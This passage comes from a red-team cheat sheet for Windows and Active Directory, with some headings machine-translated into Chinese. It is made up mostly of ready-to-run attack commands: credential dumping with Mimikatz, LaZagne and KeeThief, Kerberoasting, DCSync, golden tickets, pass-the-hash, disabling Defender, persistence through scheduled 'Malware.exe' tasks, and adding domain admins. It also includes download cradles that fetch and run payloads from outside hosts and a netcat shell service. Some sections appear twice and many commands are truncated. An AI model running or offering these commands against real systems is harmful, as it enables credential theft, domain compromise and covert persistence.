4 CookieMonster.exe cookies -d [domain] -e
5 CookieMonster -a
6
7 Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.
8
9 Can also use Mimikatz for this.
10
11 mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"
12
13 mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"
14
15 mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /un
```

4.24 转储KeePass

code



```
1 #https://github.com/HarmJ0y/KeeThief
2 #http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
```

```
3
4 Get-Process keepass
5 tasklist | findstr keepass
6
7 Attacking KeePass
8
9 #https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/PowerShell/KeeThief.ps1
10 Import-Module KeeThief.ps1
11 Get-KeePassDatabaseKey -Verbose
12
13 KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.
```

4.25 令牌模拟

code



```
1 https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Exfiltrate.ps1
2
3 Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
4 Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"
5
6 Can also use incognito from meterpreter to steal access/delegation tokens and impersonate users. (Req
7
8 #Tokenvator https://github.com/0xbadjuju/Tokenvator
9
10 Reflectively Load it with Powershell, Cobalt, SilentTrinity etc...
11 $wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64;
12 $k="xxxxxxx";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://xxxxx")))|%{$_-bxor$k[$i++%$k.length
13 [System.Reflection.Assembly]::Load($b) | Out-Null
14 $parameters=@("arg1", "arg2")
15 [namespace.Class]::Main($parameters)
16
```

```
17  
18 Reflectively Load .NET Assembly within Powershell if you cant do it through your C2 Infra
```

4.26 多汁土豆

code



```
1 #Requires SeImpersonatePrivilege (Typically found on service accounts IIS Service, SQL Service etc)  
2  
3 #Reference https://ohpe.it/juicy-potato/  
4  
5 Requirements: SeAssignPrimaryTokenPrivilege and/or SeImpersonatePrivilege  
6  
7 (new-object System.Net.WebClient).DownloadFile('http://10.10.14.5:8000/JuicyPotato.exe','C:\Program F  
8  
9 JuicyPotato.exe -l 1337 -p C:\Users\Public\Documents\Mochan.exe -t * -c {5B3E6773-3A99-4A3D-8096-7765  
10  
11 Mochan.exe = Payload  
12 5B3E6773-3A99-4A3D-8096-7765DD11785C = Target CLSID  
13  
14 A CLSID is a GUID that identifies a COM class object  
15  
16 Can also use -A flag to specify arguments alongside cmd.exe/powershell.exe etc  
17  
18 JUICY POTATO HAS TO BE RAN FROM CMD SHELL AND NOT POWERSHELL
```

4.27 烧烤

code



```
1 #Check my Blog Post Kerberos Attacks in Depth for Further Information
2 #https://m0chan.github.io/Kerberos-Attacks-In-Depth
3
4 Get-DomainSPNTicket -Credential $cred -OutputFormat hashcat
5
6 because Hashcat over John anyday right?
7
8 Invoke-Kerberoast.ps1
9
10 python GetUserSPNs.py -request -dc-ip 10.10.14.15 m0chanad.local/serviceaccount
11
12 Ofc the above requires access to Port 88 on the DC but you can always port forward if executing GetUserSPNs.py
13
14 https://github.com/GhostPack/SharpRoast --NOW Depreciated-- and incorproated into Rebeus with the kerberoast module
```

4.28 用Python编写的

code



```
1 #https://github.com/skelsec/kerberoast
2
3
4 IMPORTANT: the accepted formats are the following
5 <ldap_connection_string> : <domainname>/<username>/<secret_type>:<secret>@<DC_ip>
6 <kerberos_connection_string>: <kerberos realm>/<username>/<secret_type>:<secret>@<DC_ip>
7
8
9
10 Look for vulnerable users via LDAP
11 kerberoast ldap all <ldap_connection_string> -o ldapenum
12
13 Use ASREP roast against users in the ldapenum_asrep_users.txt file
```

```
14 kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt
15
16 Use SPN roast against users in the ldapenum_spn_users.txt file
17 kerberoast spnroast <kerberos_connection_string> -t ldapenum_spn_users.txt
```

4.29 代表烘焙

code



```
1 #Accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable
2
3 Get-ASRepHash -Domain m0chanAD.local -User victim
4
5 Can also use Rebeus (Reflectively Load .NET Assembly.)
6
7 .\Rubeus.exe asreproast
```

4.30 DCSync (也用于后期利用)

code



```
1 #Special rights are required to run DCSync. Any member of Administrators, Domain Admins, or Enterprise Admins
2
3 #and anyone with the Replicating Changes permissions set to Allow (i.e., Replicating Changes All/Replicating Changes
4
5 mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
6
7 powershell.exe -Version 2 -Exec Bypass /c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/
8
9
10 Empire Module: powershell/credentials/mimikatz/dcsync_hashdump
```

0x05 exploit后

5.1 有用的命令

code



```
1 net user m0chan /add /domain
2 net localgroup Administrators m0chan /add
3
4 # Enable RDP
5 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
6
7 Turn firewall off
8 netsh firewall set opmode disable
9
10 Or like this
11 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
12
13 If you get this error:
14
15 CredSSP Error Fix ->
16
17 Add this reg key:
18
19 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
20
21 Disable Windows Defender
22 Set-MpPreference -DisableRealtimeMonitoring $true
```


5.2 Esentutl.exe转储锁定文件

code

```
1 C:\WINDOWS\system32\esentutl.exe /y <SOURCE> /vss /d <DEST>
2
3
4 Can be useful where you want to dump SAM and (or) SYSTEM but the file is locked by the OS (Windows 10)
```

5.3 检查是否已启用Powershell日志记录

code

```
1 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
2 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
```

5.4 Run Seatbelt (绝对必须)

code

```
1 #https://github.com/GhostPack/Seatbelt
2
3 This is stupidly good, it can literally Enum everything you require and is also a .NET Assembly so c
4
5 BasicOSInfo          - Basic OS info (i.e. architecture, OS version, etc.)
6 RebootSchedule       - Reboot schedule (last 15 days) based on event IDs 12 and 13
7 TokenGroupPrivs      - Current process/token privileges (e.g. SeDebugPrivilege/etc.)
8 UACSystemPolicies    - UAC system policies via the registry
9 PowerShellSettings   - PowerShell versions and security settings
10 AuditSettings        - Audit settings via the registry
```

```
11 WEFSettings - Windows Event Forwarding (WEF) settings via the registry
12 LSASettings - LSA settings (including auth packages)
13 UserEnvVariables - Current user environment variables
14 SystemEnvVariables - Current system environment variables
15 UserFolders - Folders in C:\Users\
16 NonstandardServices - Services with file info company names that don't contain 'Microsoft'
17 InternetSettings - Internet settings including proxy configs
18 LapsSettings - LAPS settings, if installed
19 LocalGroupMembers - Members of local admins, RDP, and DCOM
20 MappedDrives - Mapped drives
21 RDPSessions - Current incoming RDP sessions
22 WMIMappedDrives - Mapped drives via WMI
23 NetworkShares - Network shares
24 FirewallRules - Deny firewall rules, "full" dumps all
25 AntiVirusWMI - Registered antivirus (via WMI)
26 InterestingProcesses - "Interesting" processes- defensive products and admin tools
27 RegistryAutoRuns - Registry autoruns
28 RegistryAutoLogon - Registry autologon information
29 DNSCache - DNS cache entries (via WMI)
30 ARPTable - Lists the current ARP table and adapter information (equivalent to arp -a)
31 AllTcpConnections - Lists current TCP connections and associated processes
32 AllUdpConnections - Lists current UDP connections and associated processes
33 NonstandardProcesses - Running processes with file info company names that don't contain 'Microsoft'
34 * If the user is in high integrity, the following additional actions are run:
35 SysmonConfig - Sysmon configuration from the registry
36
37 And more!!
```

5.5 Dump Creds

code



```
1 (new-object System.Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-Mimikatz.ps1');Invoke
2
3 Can also run Mimikatz.exe after some AV Evasion removing strings etc. ippSec has a great tutorial on
4
5 mimikatz.exe
6 privilege::debug
7 sekurlsa::logonPasswords full
8
9 The safer method is to dump the process memory of LSASS.exe with MiniDump
10 (https://github.com/3xpl01tc0d3r/Minidump)
11
12 (or) https://github.com/GhostPack/SharpDump
13
14 and send the .bin to Mimikatz locally.
15
16 sekurlsa::minidump C:\users\m0chan\lssas.dmp
17
18 Can also be used for dumping and pass the ticket attacks but will cover this elsewhere.
19
20 Mimikatz Guide
21
22 #Logon Sessions
23
24 sekurlsa::logonPasswords all
25
26 #Dump Cache
27
28 lsadump::cache
29
30 #Dump SAM
31
32 lsadump::sam
```

5.6 Dump Creds #2

code



```
1 #https://github.com/AlessandroZ/LaZagne
2
3 laZagne.exe all
4 laZagne.exe browsers
5 laZagne.exe browsers -firefox
```

5.7 SessionGopher

code



```
1 #https://github.com/Arvanaghi/SessionGopher
2
3 Quietly digging up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP
4
5 SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access
6
7 Invoke-SessionGopher -Thorough
8
9 Import-Module path\to\SessionGopher.ps1;
10 Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```

5.8 Dump Chrome密码（也发布漏洞利用程序）

code



```
1 #git clone https://github.com/rasta-mouse/CookieMonster
```

```
2
3 CookieMonster creds
4 CookieMonster.exe cookies -d [domain] -e
5 CookieMonster -a
6
7 Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.
8
9 Can also use Mimikatz for this.
10
11 mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"
12
13 mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"
14
15 mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /un
```

5.9 Dump Process Memory w/ Mimikittenz

code



```
1 #https://github.com/putterpanda/mimikittenz
2
3 mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory
4
5 The aim of mimikittenz is to provide user-level (non-admin privileged) sensitive data extraction in or
6
7 Invoke-Mimikittenz
```

5.10 Dump KeePass



```
code
1 #https://github.com/HarmJ0y/KeeThief
2 #http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
3
4 Get-Process keepass
5 tasklist | findstr keepass
6
7 Attacking KeePass
8
9 #https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/PowerShell/KeeThief.ps1
10 Import-Module KeeThief.ps1
11 Get-KeePassDatabaseKey -Verbose
12
13 KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.
```

5.11 pypykatz

```
code
1 #https://github.com/skelsec/pypykatz
2
3 Full python implementation of Mimikatz :D
4
5 pip3 install pypykatz
```

5.12 SafetyKatz

```
code
1 #https://github.com/GhostPack/SafetyKatz
2
```

```
3 Full C Sharp Implementation of Mimikatz that can be reflectively loaded :D
4
5 "SafetyKatz is a combination of slightly modified version of @gentilkiwis Mimikatz project and @subtee
6
7 First, the MiniDumpWriteDump Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\d
```

5.13 SharpDPAPI

code



```
1 #https://github.com/GhostPack/SharpDPAPI
2
3 Full C Sharp Implementation of Mimikatzs DPAPI features which allows access to DPAPI features.
```

5.14 SharpSniper

code



```
1 #https://github.com/HunnicCyber/SharpSniper
2
3 Often a Red Team engagement is more than just achieving Domain Admin. Some clients will want to see if
4
5 SharpSniper is a simple tool to find the IP address of these users so that you can target their box.
6
7 C:\> SharpSniper.exe emusk DomainAdminUser DAPass123
8
9 User: emusk - IP Address: 192.168.37.130
```

5.15 SharpLocker

code



```
1 #https://github.com/Pickfordmatt/SharpLocker
2
3 SharpLocker helps get current user credentials by popping a fake Windows lock screen, all output is se
```

5.16 Check for Missing KB's

code



```
1 watson.exe
2 Sherlock.ps1
3
4 Use Watson.exe Assembly and reflectively load .NET Assembly into memory to avoid antivirus.
5
6 More at the bottom re. Reflectively Loading stuff. (Also does not hurt to change certain strings etc)
7
8 https://github.com/rasta-mouse/Watson
```

5.17 如果管理员/系统，则使用Mimikatz解密EFS文件

code



```
1 #https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
2
3 cipher /c "d:\Users\Gentil Kiwi\Documents\m0chan.txt" - View if File is EFS Encrypted and whom can De
4
5 privilege::debug
6 token::elevate
7 crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\SystemCertificates\My\Certificat
```



```
8
9 dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831
10
11 dpapi::masterkey /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Protect\S-1-5-21-494464150-34368
12
13 dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831
14
15 openssl x509 -inform DER -outform PEM -in B53C6DE283C00203587A03DD3D0BF66E16969A55.der -out public.pem
16
17 openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk
18
19 openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanc
20
21 certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot
```

5.18 UAC绕过

code

```
1 https://egre55.github.io/system-properties-uac-bypass/ - Read Ghoul writeup on HTB for more Info
2
3 findstr /C:"<autoElevate>true"
4
5 C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
6 C:\Windows\SysWOW64\SystemPropertiesComputerName.exe
7 C:\Windows\SysWOW64\SystemPropertiesHardware.exe
8 C:\Windows\SysWOW64\SystemPropertiesProtection.exe
9 C:\Windows\SysWOW64\SystemPropertiesRemote.exe
```

5.19 Golden Ticket Attack

code



```
1 #Check my Blog Post Kerberos Attacks in Depth for Further Information
2 #https://m0chan.github.io/Kerberos-Attacks-In-Depth
3
4 # To generate the TGT with NTLM
5 mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<use
6
7 # To generate the TGT with AES 128 key
8 mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:
9
10 # To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used
11 mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:
12
13 # Inject TGT with Mimikatz
14 mimikatz # kerberos::ptt <ticket_kirbi_file>
15
16
17 #Inject Ticket with Rebeus
18 .\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
19
20 .\PsExec.exe -accepteula \\<remote_hostname> cmd
```

5.20 子域将危害森林

code



```
1 Domain = Logical group of objects (users, computers, servers etc etc) supported from a central locati
2
3 Tree = Set of domains using same name space (DNS Name)
4
5 Trust = Agreement between 2 domains that allow cross-domain access to resources etc. i/e Michelle@dev
```

```
6
7 Forest = Largest Structure composed of all trees.
8
9 Most trees are linked with dual sided trust relationships to allow for sharing of resources.
10
11 By default the first domain created is the Forest Root.
12
13 Lets say we have owned a domain controller and got the KRBTGT Hash (The keys to the castle) we can now
14
15 Covert-NameToSid target.domain.com\krbtgt
16 S-1-5-21-2941561648-383941485-1389968811-502
17
18 Replace 502 with 519 to represent Enterprise Admins
19
20 Create golden ticket and attack parent domain.
21
22
23 This will not work if there is SID Filtering in place for respective target domain.
24
25 harmj0ys article explains it best.
26
27 #http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
```

5.21 Dump NTDS.dit

code



```
1 C:\vssadmin create shadow /for=C:
2 copy \\?
3 \GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\ntds\ntds.dit
4 .
5 copy \\?
```

```
6 \GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM
7 .
8 copy \\?
9 \GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM
10 .
11 reg SAVE HKLM\SYSTEM c:\SYS
12 vssadmin delete shadows /for= [/oldest | /all | /shadow=]
13
14
15 If you pwn a BackupOperator account with SeBackupPrivilege you can also dump NTDS.dit
```

5.22 SeBackupPrivilege - Dump NTDS.dit

code



```
1 Import-Module .\SeBackupPrivilegeCmdLets.dll
2 Import-Module .\SeBackupPrivilegeUtils.dll
3
4 PS C:\m0chan> Get-SeBackupPrivilege
5 SeBackupPrivilege is disabled
6
7 PS C:\m0chan> Set-SeBackupPrivilege
8
9 PS C:\m0chan> Get-SeBackupPrivilege
10 SeBackupPrivilege is enabled
11
12 PS C:\m0chan> Copy-FileSeBackupPrivilege P:\Windows\System32\ntds.dit C:\m0chan\ntds.dit -Overwrite
13 Copied 12582912 bytes
14
15 Use diskshadow to mount a shadow copy and then copy Windows\system32\ntds.dit
16
17 Remember and not use C:\Windows\ntds\ntds.dit
```

```
18
19 reg.exe save hklm\system c:\m0chan\SYSTEM.bak
```

0x06 权限维持

6.1 SSH Shuttle

code



```
1 ./run -r root@10.10.110.123 172.16.1.0/24 -e "ssh -i Root.key"
```

6.2 SharPersist

code



```
1 #https://github.com/fireeye/SharPersist
2
3 C# Library Designed by FireEye to aid with Persistence using various techniques such as
4
5 KeePass Backdoor
6 Reg Key
7 Sch Task Backdoor
8 Startup Folder (Link File)
9 Service Backdoor
10
11 See there github linked above for full Syntax, very cool work
```

6.3 SharpDoor

code



```
1 #https://github.com/infosecninja/SharpDoor.git
2
3 SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by pa
4
5 execute-assembly /root/Toolkits/SharpBinaries/SharpDoor.exe
```

6.4 自动运行注册表

code



```
1 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
2 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
3 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
4 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
5 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
6
7 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
8 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
9 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
10 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
11 [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
```

6.5 Run & Run Once

code



```
1 reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate
2 /t REG_SZ /d "C:\Temp\SoftwareUpdate\Malware.exe"
```

6.6 计划任务

code



```
1  #Note - Beaware. some EDR/Endpoint Solutions detect Scheduled Tasks being created and trigger alerts.
2
3  schtasks /create /sc minute /mo 1 /tn "Malware" /tr C:\Temp\SoftwareUpdate\Malware.exe
4
5  This will run Malware.exe every minute forever.
6
7  # Run Malware.exe every day at 06:00am
8  schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc daily /st 06:00
9
10 # Runs a task each time the user's session is idle for 5 minutes.
11 schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc onidle /i 5
12
13 # Runs a a task as SYSTEM when User Logs in.
14 schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe
```

6.7 Windows启动文件夹

code



```
1  This has been around for years as basically every version of Windows contains a startup folder.
2
3  Windows 10 - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
4
5  Current User Startup - C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

6.8 EXE / DLL劫持

code



```
1 Look for any missing DLL's or EXE's that common programs are calling on startup and over write them wi
2
3 Also if you are localadmin/system you could provide over write a normal service binary or DLL, providi
```

6.9 添加用户帐号

code



```
1 net user m0chan /add /domain
2 net group "Domain Admins" m0chan /add /domain
3 net localgroup "Administrators" /add
4 net user m0chan /domain /comment:"Your Blueteam Fucking Sucks"
```

6.10 Kerberos的持久性

code



```
1 We can dump Kerberos tickets and inject them in session when deemed relevant however tickets have a l
2
3 They can be injected into session with mimikatz or Rebeus.
4
5 But let's say we have pwned a DC and got the KRBTGT Hash we can generate a golden ticket with a 10 ye
6
7 kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010
8
9 SID is the domain SID
```



```
10
11 Inject Ticket
12
13 kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi
14
15 Can also inject kirbi with Rebeus
```

0x07 横向运动

7.1 Plink

code



```
1 plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
2
3 #Windows 1803 Built in SSH Client (By Default)
4
5 ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
```

7.2 Powershell端口转发

code



```
1 netsh interface portproxy add v4tov4 listenport=fromport listenaddress=fromip connectport=toport conn
2
3 Permanent ^^
4
5 Requires iphlpsvc service to be enabled
6
```

```
7 fromport: the port number to listen on, e.g. 80
8 fromip: the ip address to listen on, e.g. 192.168.1.1
9 toport: the port number to forward to
10 toip: the ip address to forward to
```

7.3 Invoke-SocksProxy

code



```
1 #https://github.com/p3nt4/Invoke-SocksProxy/
2
3 Local Socks4 Proxy on 1080
4
5 Import-Module .\Invoke-SocksProxy.psm1
6 Invoke-SocksProxy -bindPort 1080
7
8
9 Reverse Socks Proxy on Remote Machine Port 1080
10
11 # On the remote host:
12 # Generate a private key and self signed cert
13 openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
14
15 # Get the certificate fingerprint to verify it:
16 openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"
17
18 # Start the handler
19 python ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
20
21 # On the local host:
22 Import-Module .\Invoke-SocksProxy.psm1
23 Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
```

```
24
25 # Go through the system proxy:
26 Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
27
28 # Validate certificate
29 Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy -certFingerprint
```

7.4 Socat for Windows

code



```
1 #https://github.com/StudioEtrange/socat-windows
2
3 Generate SSL Cert for Encryption
4 openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key
5
6 Server : socat OPENSSL-LISTEN:443,cert=/cert.pem -
7 Client : socat - OPENSSL:localhost:443
8
9 #Port Forward
10
11 socat OPENSSL-LISTEN:443,cert=/cert.pem,fork TCP:202.54.1.5:443
12
13 All SSL Connections will be redirected to 202.54.1.5:443
14
15 #Non SSL Port Forward
16 socat TCP-LISTEN:80,fork TCP:202.54.1.5:80
```

7.5 SharpExec

code

```
1 #https://github.com/anthemtotheego/SharpExec
2
3 C# Implementation of Conventional Lateral Movement Techniques, such as
4
5 -WMIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Imp
6
7 -SMBExec - Semi-Interactive shell that runs as NT Authority\System. Best described as a less mature ve
8
9 -PSEXEC (like functionality) - Gives the operator the ability to execute remote commands as NT Author
10
11 -WMI - Gives the operator the ability to execute remote commands as the user or upload a file and exe
```

7.6 安全套接字漏斗

code

```
1 #https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html#ssf
2 #git clone https://github.com/securesocketfunneling/ssf.git
3
4 Massive shout out to 0xdf for explaining this perfectly in his article. Couldnt have done it better my
```

7.7 凿子（通过SSH保护的HTTP上的快速TCP隧道）

code

```
1 #https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html
```

7.8 CrackMapExec

code



```
1 #https://www.voidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec-lateral-movement/
```

7.9 WMIC Spawn Process

code



```
1 wmic /node:WS02 /user:DOMAIN\m0chan /password:m0chan process call create "powershell.exe -Enc aQBlAHgA
```

7.10 WinRS

code



```
1 #https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/winrs
2
3 winrs [/<parameter>[:<value>]] <command>
4
5 winrs /r:https://contoso.com command
6
7 winrs /r:http://[1080:0:0:0:8:800:200C:417A]:80 command
8
9 winrs /r:myserver /ad /u:administrator /p:$%fgh7 dir \\anotherserver\share
```

7.11 Invoke-WMIExec.ps1

code



```
1 Invoke-WMIExec -Target 10.10.14.14 -Username rweston_da -Hash 3ff61fa259deee15e4042159d
```

```
2 7b832fa -Command "net user user pass /add /domain"
3
4 PS C:\users\user\Downloads> Invoke-WMIExec -Target 10.10.120.1 -Username m0chan -Hash 3ff61fa259deee15
5 7b832fa -Command "net group ""Domain Admins"" m0chan /add /domain"
```

7.12 Powershell调用命令（需要端口5985）

code



```
1 $secpasswd = ConvertTo-SecureString 'pass' -AsPlainText -Force
2 $cred = New-Object System.Management.Automation.PSCredential('m0chan\user', $secpasswd)
3
4 Invoke-Command -ComputerName FS01 -Credential $cred -ScriptBlock {whoami}
```

7.13 PSEXec

code



```
1 psexec.exe \\dc01.m0chanAD.local cmd.exe
```

7.14 Powershell Remoting

code



```
1 $secpasswd = ConvertTo-SecureString 'password' -AsPlainText -Force
2 $cred = New-Object System.Management.Automation.PSCredential('WS02\USER', $secpasswd)
3
4 $Session = New-PSSession -ComputerName FileServer -Credential $cred
5 Enter-PSSession $Session
```

7.15 通过SMB配置远程服务（在目标计算机上需要本地管理员）

code



```
1 net use \\192.168.0.15 [password] /u:DOMAIN\m0chan
2
3 sc \\192.168.0.15 create <service_name> binpath= "cmd.exe /k COMMAND"
4 sc \\192.168.0.15 create <service_name> binpath= "cmd.exe /k <c:\tools\nc.exe -L -p <port> -e cmd.exe>"
5 sc \\192.168.0.15 start <service_name>
```

7.16 Pass-The-Hash

code



```
1 crackmapexec <ip> -u <user> -H "<lm>" -x "<msfvenom psh-cmd>"
2
3 impacket-wmiexec <user>@<ip> -hashes <lm:nt>
4
5 pth-winexe -U <user>%<ntlm> //<ip> "<msfvenom psh-cmd>"
6
7 python wmiexec.py -hashes :<hash> <user>@<ip>
8
9 xfreerdp /u:<user> /d:<domain> /pth:<ntlm> /v:<ip>:3389 /dynamic-resolution
10
11 sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
```

7.17 Pass-The-Ticket

code



```
1 #Check my Blog Post Kerberos Attacks in Depth for Further Information
2
3 Rebus monitor /interval:30
4
5 Monitoring logon sessions every 30 seconds so I can pinch Kerb tickets
6
7 Rebus will now give you a Kerberos ticket in base64 which you can pass with
8
9 Rubeus.exe ptt /ticket:[base64blobhere]
10
11 We can now request TGS service tickets to access network resources as this user
```

0x08 混淆/规避技术

8.1 调用混淆

code



```
1 #https://github.com/danielbohannon/Invoke-Obfuscation
2
3 Can obfusacte Scripts & Commands
4
5 Obfusacte script from remote url
6
7 SET SCRIPTPATH https://thisdosentexist.m0chan.com/Invoke-Mimikatz.ps1
8
9 Can also set Sscript block base64 PS
10
11 SET SCRIPTBLOCK powershell -enc VwByAGkAdABlAC0ASABvAHMAAdAAgACcAWQBvAHUAIABjAGEAbgAgAHUAcwBlACAAYgBhA
```


8.2 调用-CradleCraft

code



```
1 #https://github.com/danielbohannon/Invoke-CradleCrafter
2
3 Similar to Invoke-Obfuscation but allows you to obfuscate cradles for downloading i/e
4
5 IEX (New-Object Net.WebClient).DownloadString('http://c2server.com/Invoke-Mimikatz.ps1')
```

8.3 调用DOSfuscation

code



```
1 #https://github.com/danielbohannon/Invoke-DOSfuscation
```

8.4 Unicorn

<https://github.com/trustedsec/unicorn>

code



```
1 unicorn.py Nishang.ps1
```

0x09 AppLocker /约束模式绕过

9.1 验证您是否处于受限模式

code

```
1 $ExecutionContext.SessionState.LanguageMode
```

9.2 Powershell非常少旁路

code

```
1 git clone https://github.com/decoder-it/powershellveryless.git
2
3
4 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference: C:\Windows\Microsoft.NET\assembly
5 /out:C:\Users\m0chan\Scripts\powershellveryless.exe
6
7
8
9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference:C:\Windows\Microsoft.NET\assembly\
10
11
12 Execute -> powershellveryless.exe script.ps1
13
14 script.ps1 = Script of your Choice
```

9.3 世界可写文件夹（在Windows 10 1803上为默认）

code

```
1 #https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
```

```
2
3 C:\Windows\Tasks
4 C:\Windows\Temp
5 C:\windows\tracing
6 C:\Windows\Registration\CRMLLog
7 C:\Windows\System32\FxsTmp
8 C:\Windows\System32\com\dmp
9 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
10 C:\Windows\System32\spool\PRINTERS
11 C:\Windows\System32\spool\SERVERS
12 C:\Windows\System32\spool\drivers\color
13 C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
